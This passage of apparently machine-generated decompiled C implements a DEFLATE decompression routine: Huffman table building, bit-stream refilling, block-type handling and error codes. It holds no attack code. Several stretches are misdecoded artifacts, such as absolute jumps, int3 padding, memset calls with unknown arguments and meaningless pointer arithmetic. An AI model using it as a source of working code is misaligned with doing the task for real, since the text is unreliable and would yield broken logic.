												 *_t1029 = _t827;
												_t1029 =  *(_t1066 - 0x14);
												__eflags = _t881 - 1;
												if(_t881 > 1) {
													goto L35;
												}
												goto L37;
											}
										} else {
											L21:
											__eflags = _t881 -  *(_t1066 - 0x28);
											if(_t881 >  *(_t1066 - 0x28)) {
												goto L29;
											} else {
												L22:
												_t1049 =  *(_t1066 - 0xc);
												_t964 =  *(_t1066 - 0x10);
												_t831 = (_t881 & 0xfffffff8) + _t1049;
												 *(_t1066 - 0x24) = _t831;
												_t1026 = _t831;
												do {
													L23:
													 *_t964 =  *_t1049;
													_t833 =  *((intOrPtr*)(_t1049 + 4));
													_t1049 = _t1049 + 8;
													 *((intOrPtr*)(_t964 + 4)) = _t833;
													_t964 = _t964 + 8;
													__eflags = _t1049 - _t1026;
												} while (_t1049 < _t1026);
												_t988 =  *(_t1066 - 4);
												 *(_t1066 - 0x10) = _t964;
												_t881 =  *(_t1066 - 8) & 0x00000007;
												 *(_t1066 - 0xc) = _t1049;
												_t1029 =  *(_t1066 - 0x14);
												 *(_t1066 - 8) = _t881;
												__eflags = _t881 - 3;
												if(_t881 >= 3) {
													goto L29;
												} else {
													L25:
													__eflags = _t881;
													if(_t881 != 0) {
														L26:
														goto 0x3a140c;
														asm("int3");
														_t827 =  *_t833;
														 *_t1029 = _t827;
														_t1029 =  *(_t1066 - 0x14);
														__eflags = _t881 - 1;
														if(_t881 > 1) {
															L28:
															L35:
															goto 0x3a1448;
															asm("int3");
															 *(_t988 + 1) =  *((intOrPtr*)(_t827 + 1));
															_t988 =  *(_t1066 - 4);
														}
														L37:
														_t83 = _t1066 - 0x10;
														 *_t83 =  *(_t1066 - 0x10) + _t881;
														__eflags =  *_t83;
													}
												}
											}
										}
										goto L38;
									} else {
										while(1) {
											L17:
											_t834 = _t881;
											_t881 = _t881 - 1;
											 *(_t1066 - 8) = _t881;
											if(_t834 == 0) {
												goto L38;
											}
											L18:
											if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
												L238:
												 *(_t1066 - 0xc) = 2;
												 *_t1029 = 0x35;
												goto L292;
											} else {
												L19:
												 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
												 *((intOrPtr*)(_t1066 - 0x48)) =  *((intOrPtr*)(_t1066 - 0x48)) + 1;
												 *( *(_t1066 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1066 - 0x48)) -  *(_t1066 - 0x28) &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc))));
												_t988 =  *(_t1066 - 4);
												continue;
											}
											goto L295;
										}
										while(1) {
											L38:
											_t883 =  *(_t1066 - 0x20) - _t846;
											__eflags = _t883 - 4;
											if(_t883 < 4) {
												goto L57;
											}
											L39:
											_t1029 =  *(_t1066 - 0x14);
											__eflags =  *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) - 2;
											if( *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) < 2) {
												goto L57;
											} else {
												L40:
												__eflags = _t1050 - 0xf;
												if(_t1050 < 0xf) {
													_t1002 =  *(_t846 + 1) & 0x000000ff;
													_t883 = _t1050;
													_t724 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1002 << 0x00000008 | _t724) << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
												}
												_t595 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t595;
												__eflags = _t595;
												if(_t595 < 0) {
													L44:
													goto 0x3a145c;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L45:
														_t711 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t711 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L43:
													_t883 = _t595 >> 9;
												}
												L47:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 & 0x00000100;
												if((_t884 & 0x00000100) != 0) {
													L83:
													_t885 = _t884 & 0x000001ff;
													 *(_t1066 - 8) = _t885;
													__eflags = _t885 - 0x100;
													if(_t885 != 0x100) {
														L219:
														_t673 = _t885 * 4 - 0x404;
														_t872 =  *(_t673 + 0x38f010);
														_t595 =  *(_t673 + 0x38fa48);
														 *(_t1066 - 0x38) = _t872;
														 *(_t1066 - 8) = _t595;
														__eflags = _t872;
														if(_t872 == 0) {
															L225:
															__eflags = _t1064 - 0xf;
															if(_t1064 >= 0xf) {
																L2:
																_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
																 *(_t1066 - 0x1c) = _t655;
																if(_t655 < 0) {
																	goto L4;
																}
																goto L8;
															} else {
																L226:
																__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																if( *(_t1066 - 0x20) - _t846 >= 2) {
																	L237:
																	_t989 =  *(_t846 + 1) & 0x000000ff;
																	_t676 =  *_t846 & 0x000000ff;
																	_t846 = _t846 + 2;
																	_t1029 =  *(_t1066 - 0x14);
																	_t872 = _t1064;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) =  *(_t1066 - 4) | _t989 << _t1064 + 0x00000008 | _t676 << _t872;
																	_t1064 = _t1064 + 0x10;
																	_t987 =  *(_t1066 - 4);
																	do {
																		goto L2;
																	} while (_t1064 >= 0xf);
																	goto L226;
																} else {
																	goto L227;
																}
															}
														} else {
															L220:
															__eflags = _t1064 - _t872;
															if(_t1064 >= _t872) {
																L223:
																L224:
																_t1064 = _t1064 - _t872;
																_t680 = (_t595 << _t872) - 0x00000001 & _t987;
																_t987 = _t987 >> _t872;
																_t456 = _t1066 - 8;
																 *_t456 =  *(_t1066 - 8) + _t680;
																__eflags =  *_t456;
																 *(_t1066 - 4) = _t987;
																goto L225;
															} else {
																while(1) {
																	L221:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L222:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t872 =  *(_t1066 - 0x38);
																	_t987 = _t987 | _t595;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - _t872;
																	if(_t1050 < _t872) {
																		continue;
																	} else {
																		goto L223;
																	}
																	goto L295;
																}
																L262:
																 *_t1029 = 0x19;
																goto L285;
															}
														}
													} else {
														while(1) {
															L84:
															__eflags =  *(_t1029 + 0x14) & 0x00000001;
															if(( *(_t1029 + 0x14) & 0x00000001) != 0) {
																break;
															}
															L85:
															__eflags = _t1064 - 3;
															if(_t1064 >= 3) {
																L88:
																_t1050 = _t1064 - 3;
																_t693 = _t987 & 0x00000007;
																_t997 = _t987 >> 3;
																 *(_t1029 + 0x14) = _t693;
																_t694 = _t693 >> 1;
																__eflags = _t694;
																 *(_t1066 - 4) = _t997;
																 *(_t1066 - 0x1c) = _t1050;
																 *(_t1029 + 0x18) = _t694;
																if(_t694 != 0) {
																	L123:
																	__eflags = _t694 - 3;
																	if(_t694 == 3) {
																		L266:
																		 *(_t1066 - 0xc) = 0xffffffff;
																		 *_t1029 = 0xa;
																		goto L292;
																	} else {
																		L124:
																		__eflags = _t694 - 1;
																		if(_t694 != 1) {
																			L127:
																			_t897 = 0;
																			__eflags = 0;
																			while(1) {
																				L128:
																				 *(_t1066 - 8) = _t897;
																				__eflags = _t897 - 3;
																				if(_t897 >= 3) {
																					break;
																				}
																				L129:
																				_t595 =  *((char*)(_t897 + 0x38f004));
																				 *(_t1066 - 0x1c) = _t595;
																				__eflags = _t1050 - _t595;
																				if(_t1050 >= _t595) {
																					L132:
																					_t1024 = _t1029 + _t897 * 4;
																					_t1043 =  *(_t1066 - 4);
																					 *(_t1024 + 0x2c) = (0x00000001 <<  *(_t1066 - 0x1c)) - 0x00000001 & _t1043;
																					_t806 =  *(_t1066 - 8);
																					_t936 =  *((char*)(_t806 + 0x38f004));
																					_t1044 = _t1043 >> _t936;
																					_t1050 = _t1050 - _t936;
																					_t937 = _t806;
																					 *(_t1066 - 4) = _t1044;
																					 *(_t1066 - 0x1c) = _t1050;
																					 *(_t1024 + 0x2c) =  *(_t1024 + 0x2c) +  *((intOrPtr*)(0x38fa38 + _t937 * 4));
																					_t997 = _t1044;
																					_t1029 =  *(_t1066 - 0x14);
																					_t897 = _t937 + 1;
																					continue;
																				} else {
																					while(1) {
																						L130:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L131:
																						_t809 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t897 =  *(_t1066 - 8);
																						_t997 = _t997 | _t809;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 0x18) = _t846;
																						 *(_t1066 - 4) = _t997;
																						_t595 =  *((char*)(_t897 + 0x38f004));
																						 *(_t1066 - 0x1c) = _t595;
																						__eflags = _t1050 - _t595;
																						if(_t1050 < _t595) {
																							continue;
																						} else {
																							goto L132;
																						}
																						goto L295;
																					}
																					L248:
																					 *_t1029 = 0xb;
																					goto L285;
																				}
																				goto L295;
																			}
																			L133:
																			L134:
																			_t595 = memset(_t1029 + 0x1b80, 0, ??);
																			_t998 =  *(_t1066 - 4);
																			_t1068 = _t1068 + 0xc;
																			_t898 = 0;
																			__eflags = 0;
																			while(1) {
																				L135:
																				 *(_t1066 - 8) = _t898;
																				__eflags = _t898 -  *((intOrPtr*)(_t1029 + 0x34));
																				if(_t898 >=  *((intOrPtr*)(_t1029 + 0x34))) {
																					break;
																				}
																				L136:
																				__eflags = _t1050 - 3;
																				if(_t1050 >= 3) {
																					L139:
																					_t932 = _t998 & 0x00000007;
																					_t998 = _t998 >> 3;
																					_t1050 = _t1050 - 3;
																					 *(_t1066 - 4) = _t998;
																					 *(_t1066 - 0x1c) = _t1050;
																					_t595 =  *( *(_t1066 - 8) + 0x38fa24) & 0x000000ff;
																					 *(_t1029 + 0x1b80 + _t595) = _t932;
																					_t898 =  *(_t1066 - 8) + 1;
																					continue;
																				} else {
																					while(1) {
																						L137:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L138:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t998 = _t998 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t998;
																						__eflags = _t1050 - 3;
																						if(_t1050 < 3) {
																							continue;
																						} else {
																							goto L139;
																						}
																						goto L295;
																					}
																					L249:
																					 *_t1029 = 0xe;
																					goto L285;
																				}
																				goto L295;
																			}
																			L140:
																			 *((intOrPtr*)(_t1029 + 0x34)) = 0x13;
																			goto L141;
																		} else {
																			L125:
																			goto 0x3a14d8;
																			asm("int3");
																			asm("int3");
																			 *((intOrPtr*)(_t694 + 0x2c)) = 0x120;
																			L126:
																			_t811 = _t694 + 1 - 0x20;
																			 *_t811 =  *_t811 + _t811;
																			_t846 = _t846 + _t811;
																			_t812 = _t811 + 1;
																			 *_t812 =  *_t812 ^ _t812;
																			 *_t812 = _t812 +  *_t812;
																			 *0xde0 =  *0xde0 + _t812;
																			memset(_t812, ??, ??);
																			asm("movdqa xmm0, [0x38fae0]");
																			_t1068 = _t1068 + 0xc;
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movdqu [edi+0x80], xmm0");
																			asm("movdqu [edi+0x90], xmm0");
																			asm("movdqu [edi+0xa0], xmm0");
																			asm("movdqu [edi+0xb0], xmm0");
																			asm("movdqu [edi+0xc0], xmm0");
																			_t1045 = _t1029 + 0xd0;
																			asm("movdqa xmm0, [0x38faf0]");
																			asm("movdqu [edi], xmm0");
																			asm("movdqu [edi+0x10], xmm0");
																			asm("movdqu [edi+0x20], xmm0");
																			asm("movdqu [edi+0x30], xmm0");
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqa xmm0, [0x38fad0]");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movq [edi+0x80], xmm0");
																			 *((intOrPtr*)(_t1045 + 0x88)) = 0x8080808;
																			 *((intOrPtr*)(_t1045 + 0x8c)) = 0x8080808;
																			_t1029 =  *(_t1066 - 0x14);
																			while(1) {
																				L141:
																				_t696 =  *(_t1029 + 0x18);
																				__eflags = _t696;
																				if(_t696 < 0) {
																					break;
																				}
																				L142:
																				 *(_t1066 - 0xc) = 0x40 + _t696 * 0xda0 + _t1029;
																				memset(_t1066 - 0xd0, 0, 0x40);
																				memset( *(_t1066 - 0xc) + 0x120, 0, 0x800);
																				memset( *(_t1066 - 0xc) + 0x920, 0, 0x480);
																				_t899 = 0;
																				_t1068 = _t1068 + 0x24;
																				_t1012 = _t1029 + ( *(_t1029 + 0x18) + 0xb) * 4;
																				 *(_t1066 - 0x44) = _t1012;
																				__eflags =  *_t1012;
																				if( *_t1012 > 0) {
																					L143:
																					_t1029 =  *(_t1066 - 0xc);
																					do {
																						L144:
																						_t799 =  *(_t899 + _t1029) & 0x000000ff;
																						_t899 = _t899 + 1;
																						 *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) =  *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) + 1;
																						__eflags = _t899 -  *_t1012;
																					} while (_t899 <  *_t1012);
																				}
																				L145:
																				goto 0x3a1500;
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				L146:
																				 *(_t1066 - 0x8c) = _t899;
																				 *(_t1066 - 0x90) = _t899;
																				 *(_t1066 - 0x2c) = _t899;
																				 *(_t1066 - 0x30) = _t899;
																				do {
																					L147:
																					_t736 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd4));
																					_t901 = _t899 + _t736 + _t899 + _t736;
																					_t1029 = _t1029 + _t736;
																					_t737 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd0));
																					 *(_t1066 - 0x30) =  *(_t1066 - 0x30) + _t737;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x90)) = _t901;
																					_t738 =  *((intOrPtr*)(_t1066 + _t1012 - 0xcc));
																					_t903 = _t901 + _t737 + _t901 + _t737;
																					 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) + _t738;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x8c)) = _t903;
																					_t899 = _t903 + _t738 + _t903 + _t738;
																					 *(_t1066 + _t1012 - 0x88) = _t899;
																					_t1012 = _t1012 + 0xc;
																					__eflags = _t1012 - 0x40;
																				} while (_t1012 <= 0x40);
																				 *(_t1066 - 0x4c) = _t899;
																				 *(_t1066 - 0x24) = _t1029;
																				_t1029 =  *(_t1066 - 0x14);
																				_t906 =  *(_t1066 - 0x24) +  *(_t1066 - 0x2c) +  *(_t1066 - 0x30);
																				__eflags =  *(_t1066 - 0x4c) - 0x10000;
																				if( *(_t1066 - 0x4c) == 0x10000) {
																					L150:
																					_t741 =  *(_t1066 - 0x44);
																					 *(_t1066 - 0x30) = 0xffffffff;
																					 *(_t1066 - 0x4c) = 0;
																					__eflags =  *_t741;
																					if( *_t741 > 0) {
																						L151:
																						_t1065 =  *(_t1066 - 0x4c);
																						do {
																							L152:
																							L153:
																							_t918 =  *(_t1065 + _t741) & 0x000000ff;
																							 *(_t1066 - 0x44) = _t918;
																							__eflags = _t918;
																							if(_t918 != 0) {
																								L154:
																								_t778 =  *(_t1066 + _t918 * 4 - 0x90);
																								 *(_t1066 - 0x2c) = _t778;
																								 *(_t1066 + _t918 * 4 - 0x90) = _t778 + 1;
																								 *(_t1066 - 0x24) = _t918;
																								__eflags = _t918;
																								if(_t918 != 0) {
																									L155:
																									do {
																										L156:
																										 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) >> 1;
																										_t798 =  *(_t1066 - 0x24) - 1;
																										_t1012 = _t1012 + _t1012 |  *(_t1066 - 0x2c) & 0x00000001;
																										 *(_t1066 - 0x24) = _t798;
																										__eflags = _t798;
																									} while (_t798 != 0);
																									_t918 =  *(_t1066 - 0x44);
																								}
																								L158:
																								__eflags = _t918 - 0xa;
																								if(_t918 > 0xa) {
																									L164:
																									_t782 =  *(_t1066 - 0xc) + 0x120 + (_t1012 & 0x000003ff) * 2;
																									_t846 =  *(_t1066 - 0x30);
																									 *(_t1066 - 0x44) = _t782;
																									_t783 =  *_t782;
																									 *(_t1066 - 0x2c) = _t783;
																									__eflags = _t783;
																									if(_t783 == 0) {
																										 *( *(_t1066 - 0x44)) = _t846;
																										_t783 = _t846;
																										_t846 = _t846 - 2;
																										__eflags = _t846;
																										 *(_t1066 - 0x2c) = _t783;
																										 *(_t1066 - 0x30) = _t846;
																									}
																									L166:
																									_t1020 = _t1012 >> 9;
																									__eflags = _t918 - 0xb;
																									if(_t918 > 0xb) {
																										L167:
																										_t919 = _t918 + 0xfffffff5;
																										__eflags = _t919;
																										 *(_t1066 - 0x24) = _t919;
																										_t920 =  *(_t1066 - 0x2c);
																										do {
																											L168:
																											_t1020 = _t1020 >> 1;
																											_t788 = 0x48f - _t920 - (_t1020 & 0x00000001);
																											_t923 =  *( *(_t1066 - 0xc) + 0x91e) & 0x0000ffff;
																											__eflags = _t923;
																											if(_t923 != 0) {
																												_t920 = _t923;
																											} else {
																												 *( *(_t1066 - 0xc) + _t788 * 2) = _t846;
																												_t789 =  *(_t1066 - 0x30);
																												_t920 = _t789;
																												_t790 = _t789 - 2;
																												 *(_t1066 - 0x30) = _t790;
																												_t846 = _t790;
																											}
																											L171:
																											_t361 = _t1066 - 0x24;
																											 *_t361 =  *(_t1066 - 0x24) - 1;
																											__eflags =  *_t361;
																										} while ( *_t361 != 0);
																										 *(_t1066 - 0x2c) = _t920;
																										_t783 = _t920;
																									}
																									L173:
																									_t1012 = (_t1020 >> 0x00000001 & 0x00000001) - _t783;
																									__eflags = _t1012;
																									 *( *(_t1066 - 0xc) + 0x91e + _t1012 * 2) = _t1065;
																								} else {
																									L159:
																									_t795 = (_t918 << 0x00000009 | _t1065) & 0x0000ffff;
																									 *(_t1066 - 0x44) = _t795;
																									__eflags = _t1012 - 0x400;
																									if(_t1012 < 0x400) {
																										L160:
																										goto 0x3a152a;
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										L161:
																										_t796 = _t795 << _t918;
																										 *(_t1066 - 0x4c) = _t796 + _t796;
																										_t928 =  *(_t1066 - 0xc) + _t1012 * 2 + 0x120;
																										__eflags = _t928;
																										do {
																											L162:
																											 *_t928 = _t1029;
																											_t1012 = _t1012 + _t796;
																											_t928 = _t928 +  *(_t1066 - 0x4c);
																											__eflags = _t1012 - 0x400;
																										} while (_t1012 < 0x400);
																										_t1029 =  *(_t1066 - 0x14);
																									}
																								}
																							}
																							L174:
																							_t741 =  *(_t1029 + 0x18);
																							_t1065 = _t1065 + 1;
																							__eflags = _t1065 -  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4));
																						} while (_t1065 <  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4)));
																						goto 0x3a1540;
																						asm("int3");
																					}
																					L176:
																					__eflags =  *(_t1029 + 0x18) - 2;
																					if( *(_t1029 + 0x18) != 2) {
																						L217:
																						 *(_t1029 + 0x18) =  *(_t1029 + 0x18) - 1;
																						continue;
																					} else {
																						L177:
																						_t907 = 0;
																						__eflags = 0;
																						while(1) {
																							L178:
																							_t1013 =  *(_t1066 - 4);
																							while(1) {
																								L179:
																								 *(_t1066 - 8) = _t907;
																								__eflags = _t907 -  *(_t1029 + 0x30) +  *(_t1029 + 0x2c);
																								if(_t907 >=  *(_t1029 + 0x30) +  *(_t1029 + 0x2c)) {
																									break;
																								}
																								L180:
																								__eflags = _t1065 - 0xf;
																								if(_t1065 >= 0xf) {
																									L197:
																									_t756 =  *((short*)(_t1029 + 0x1ca0 + (_t1013 & 0x000003ff) * 2));
																									 *(_t1066 - 0x28) = _t756;
																									__eflags = _t756;
																									if(_t756 < 0) {
																										L199:
																										L200:
																										do {
																											L201:
																											 *(_t1066 - 0x28) =  !( *(_t1066 - 0x28));
																											_t758 = _t1013 >> _t907;
																											_t907 = _t907 + 1;
																											_t595 =  *((short*)(_t1029 + 0x24a0 + ((_t758 & 0x00000001) +  *(_t1066 - 0x28)) * 2));
																											 *(_t1066 - 0x28) = _t595;
																											__eflags = _t595;
																										} while (_t595 < 0);
																									} else {
																										L198:
																										_t907 = _t756 >> 9;
																										_t595 = _t756 & 0x000001ff;
																										 *(_t1066 - 0x28) = _t595;
																									}
																									L202:
																									_t1013 = _t1013 >> _t907;
																									_t1050 = _t1065 - _t907;
																									 *(_t1066 - 4) = _t1013;
																									 *(_t1066 - 0x1c) = _t1050;
																									__eflags = _t595 - 0x10;
																									if(__eflags >= 0) {
																										L204:
																										if(__eflags != 0) {
																											L207:
																											_t908 =  *((char*)(_t595 + 0x38eff0));
																											 *(_t1066 - 0x38) = _t908;
																											__eflags = _t1050 - _t908;
																											if(_t1050 >= _t908) {
																												L211:
																												_t1050 = _t1050 - _t908;
																												 *(_t1066 - 0x1c) = _t1050;
																												_t909 =  *(_t1066 - 0x14);
																												_t1039 = ((0x00000001 << _t908) - 0x00000001 & _t1013) +  *((char*)(_t595 + 0x38eff8));
																												__eflags =  *(_t1066 - 0x28) - 0x10;
																												_t762 =  *(_t1066 - 8);
																												 *(_t1066 - 4) = _t1013 >> _t908;
																												if( *(_t1066 - 0x28) != 0x10) {
																													_t1016 = 0;
																													__eflags = 0;
																												} else {
																													_t1016 =  *(_t762 + _t909 + 0x2923) & 0x000000ff;
																												}
																												L214:
																												memset(_t762 + _t909 + 0x2924, _t1016, _t1039);
																												_t1068 = _t1068 + 0xc;
																												_t907 =  *(_t1066 - 8) + _t1039;
																												_t1029 =  *(_t1066 - 0x14);
																												L178:
																												_t1013 =  *(_t1066 - 4);
																												continue;
																											} else {
																												while(1) {
																													L208:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														break;
																													}
																													L209:
																													_t595 = ( *_t846 & 0x000000ff) << _t1050;
																													_t846 = _t846 + 1;
																													_t908 =  *(_t1066 - 0x38);
																													_t1013 = _t1013 | _t595;
																													_t1050 = _t1050 + 8;
																													 *(_t1066 - 0x18) = _t846;
																													 *(_t1066 - 4) = _t1013;
																													__eflags = _t1050 - _t908;
																													if(_t1050 < _t908) {
																														continue;
																													} else {
																														L210:
																														_t595 =  *(_t1066 - 0x28);
																														goto L211;
																													}
																													goto L295;
																												}
																												L251:
																												 *_t1029 = 0x12;
																												goto L285;
																											}
																										} else {
																											L205:
																											_t766 =  *(_t1066 - 8);
																											__eflags = _t766;
																											if(_t766 == 0) {
																												L268:
																												_t684 = _t766 | 0xffffffff;
																												 *_t1029 = 0x11;
																												goto L291;
																											} else {
																												L206:
																												_t595 =  *(_t1066 - 0x28);
																												goto L207;
																											}
																										}
																									} else {
																										L203:
																										_t913 =  *(_t1066 - 8);
																										 *(_t1029 + 0x2924 + _t913) = _t595;
																										_t907 = _t913 + 1;
																										continue;
																									}
																								} else {
																									L181:
																									__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																									if( *(_t1066 - 0x20) - _t846 >= 2) {
																										L195:
																										_t1017 =  *(_t846 + 1) & 0x000000ff;
																										_t769 =  *_t846 & 0x000000ff;
																										_t846 = _t846 + 2;
																										_t907 = _t1065;
																										 *(_t1066 - 0x18) = _t846;
																										 *(_t1066 - 4) =  *(_t1066 - 4) | _t1017 << _t1065 + 0x00000008 | _t769 << _t907;
																										_t1065 = _t1065 + 0x10;
																										__eflags = _t1065;
																										_t1013 =  *(_t1066 - 4);
																										goto L196;
																									} else {
																										do {
																											L182:
																											_t595 = _t1013 & 0x000003ff;
																											_t1040 =  *((short*)(_t1029 + 0x1ca0 + _t595 * 2));
																											__eflags = _t1040;
																											if(_t1040 < 0) {
																												L186:
																												__eflags = _t1065 - 0xa;
																												if(_t1065 <= 0xa) {
																													goto L191;
																												} else {
																													L187:
																													L188:
																													 *(_t1066 - 0x24) = _t907;
																													while(1) {
																														L189:
																														_t1040 =  *((short*)( *(_t1066 - 0x14) + 0x24a0 + ((_t1013 >> _t907 & 0x00000001) +  !_t1040) * 2));
																														_t907 =  *(_t1066 - 0x24) + 1;
																														 *(_t1066 - 0x24) = _t907;
																														__eflags = _t1040;
																														if(_t1040 >= 0) {
																															goto L196;
																														}
																														L190:
																														_t595 = _t907 + 1;
																														__eflags = _t1065 - _t595;
																														if(_t1065 >= _t595) {
																															continue;
																														} else {
																															goto L191;
																														}
																														goto L295;
																													}
																													goto L196;
																												}
																											} else {
																												L183:
																												_t1042 = _t1040 >> 9;
																												__eflags = _t1042;
																												if(_t1042 == 0) {
																													L191:
																													_t1029 =  *(_t1066 - 0x14);
																													L192:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														L250:
																														 *_t1029 = 0x10;
																														goto L285;
																													} else {
																														goto L193;
																													}
																												} else {
																													L184:
																													__eflags = _t1065 - _t1042;
																													if(_t1065 >= _t1042) {
																														L196:
																														_t1029 =  *(_t1066 - 0x14);
																														goto L197;
																													} else {
																														L185:
																														goto L191;
																													}
																												}
																											}
																											goto L295;
																											L193:
																											_t907 = _t1065;
																											_t773 = ( *_t846 & 0x000000ff) << _t907;
																											_t846 = _t846 + 1;
																											_t1013 = _t1013 | _t773;
																											 *(_t1066 - 0x18) = _t846;
																											_t1065 = _t1065 + 8;
																											 *(_t1066 - 4) = _t1013;
																											__eflags = _t1065 - 0xf;
																										} while (_t1065 < 0xf);
																										goto L197;
																									}
																								}
																								goto L295;
																							}
																							L215:
																							_t1014 =  *(_t1029 + 0x2c);
																							_t745 =  *(_t1029 + 0x30) + _t1014;
																							__eflags = _t745 - _t907;
																							if(_t745 != _t907) {
																								L269:
																								_t684 = _t745 | 0xffffffff;
																								 *_t1029 = 0x15;
																								goto L291;
																							} else {
																								L216:
																								memcpy(_t1029 + 0x40, _t1029 + 0x2924, _t1014);
																								_t751 =  *(_t1029 + 0x2c) + 0x2924 + _t1029;
																								__eflags = _t751;
																								memcpy(_t1029 + 0xde0, _t751,  *(_t1029 + 0x30));
																								_t1068 = _t1068 + 0x18;
																								goto L217;
																							}
																							goto L295;
																						}
																					}
																				} else {
																					L149:
																					__eflags = _t906 - 1;
																					if(_t906 > 1) {
																						L267:
																						 *(_t1066 - 0xc) = 0xffffffff;
																						 *_t1029 = 0x23;
																						goto L292;
																					} else {
																						goto L150;
																					}
																				}
																				goto L295;
																			}
																			L218:
																			_t988 =  *(_t1066 - 4);
																			while(1) {
																				L38:
																				_t883 =  *(_t1066 - 0x20) - _t846;
																				__eflags = _t883 - 4;
																				if(_t883 < 4) {
																					goto L57;
																				}
																				goto L39;
																			}
																			goto L57;
																		}
																	}
																} else {
																	L89:
																	_t595 = _t1050 & 0x00000007;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		L92:
																		_t940 = _t1050 & 0x00000007;
																		_t987 = _t997 >> _t940;
																		_t1050 = _t1050 - _t940;
																		 *(_t1066 - 4) = _t987;
																		_t941 = 0;
																		__eflags = 0;
																		while(1) {
																			L93:
																			 *(_t1066 - 8) = _t941;
																			__eflags = _t941 - 4;
																			if(_t941 >= 4) {
																				break;
																			}
																			L94:
																			__eflags = _t1050;
																			if(_t1050 == 0) {
																				L100:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					L244:
																					 *_t1029 = 7;
																					goto L285;
																				} else {
																					L101:
																					_t595 =  *_t846;
																					_t846 = _t846 + 1;
																					(_t1029 + 0x2920)[_t941] = _t595;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 0x18) = _t846;
																					continue;
																				}
																			} else {
																				L95:
																				__eflags = _t1050 - 8;
																				if(_t1050 >= 8) {
																					L99:
																					(_t1029 + 0x2920)[_t941] = _t987;
																					_t1050 = _t1050 - 8;
																					_t987 = _t987 >> 8;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 4) = _t987;
																					continue;
																				} else {
																					while(1) {
																						L96:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L97:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t987 = _t987 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t987;
																						__eflags = _t1050 - 8;
																						if(_t1050 < 8) {
																							continue;
																						} else {
																							L98:
																							_t941 =  *(_t1066 - 8);
																							goto L99;
																						}
																						goto L295;
																					}
																					L243:
																					 *_t1029 = 6;
																					goto L285;
																				}
																			}
																			goto L295;
																		}
																		L102:
																		_t595 =  *(_t1029 + 0x2922) & 0x000000ff;
																		 *(_t1066 - 8) = ( *(_t1029 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1029 + 0x2920) & 0x000000ff;
